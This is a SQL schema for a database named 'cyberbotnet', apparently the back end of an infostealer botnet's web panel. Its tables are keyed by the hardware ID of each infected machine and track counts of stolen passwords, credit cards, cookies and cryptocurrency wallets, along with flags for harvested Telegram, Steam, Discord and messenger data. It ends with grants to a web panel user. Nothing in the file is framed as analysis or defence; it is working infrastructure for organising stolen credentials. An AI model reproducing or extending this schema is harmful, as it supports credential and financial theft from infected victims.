-- Create domain_cache table
CREATE TABLE IF NOT EXISTS `cyberbotnet`.`domain_cache` (
    hwid VARCHAR(255) PRIMARY KEY,
    domains TEXT,
    domain_count INT DEFAULT 0,
    last_updated TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- Create file_counts table 
CREATE TABLE IF NOT EXISTS `cyberbotnet`.`file_counts` (
    hwid VARCHAR(255) PRIMARY KEY,
    pwd_count INT DEFAULT 0,
    cc_count INT DEFAULT 0,
    cookies_count INT DEFAULT 0,
    wallets_count INT DEFAULT 0,
    last_updated TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    INDEX (last_updated)
);

-- Create bot_stats table
CREATE TABLE IF NOT EXISTS `cyberbotnet`.`bot_stats` (
    hwid VARCHAR(255) PRIMARY KEY,
    vpn_count INT DEFAULT 0,
    telegram BOOLEAN DEFAULT 0,
    steam BOOLEAN DEFAULT 0,
    discord BOOLEAN DEFAULT 0,
    gaming_info BOOLEAN DEFAULT 0,
    messenger BOOLEAN DEFAULT 0,
    pwd_count INT DEFAULT 0,
    cc_count INT DEFAULT 0,
    cookies_count INT DEFAULT 0,
    wallets_count INT DEFAULT 0,
    last_updated TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    INDEX (last_updated)
);

-- Create log_notes table
CREATE TABLE IF NOT EXISTS `cyberbotnet`.`log_notes` (
    hwid VARCHAR(255) PRIMARY KEY,
    note TEXT,
    last_updated TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
);

-- Grant permissions to webpanel_user for these tables
GRANT SELECT, INSERT, UPDATE, DELETE ON `cyberbotnet`.`domain_cache` TO 'webpanel_user'@'localhost';
GRANT SELECT, INSERT, UPDATE, DELETE ON `cyberbotnet`.`file_counts` TO 'webpanel_user'@'localhost';
GRANT SELECT, INSERT, UPDATE, DELETE ON `cyberbotnet`.`bot_stats` TO 'webpanel_user'@'localhost';
GRANT SELECT, INSERT, UPDATE, DELETE ON `cyberbotnet`.`log_notes` TO 'webpanel_user'@'localhost'; 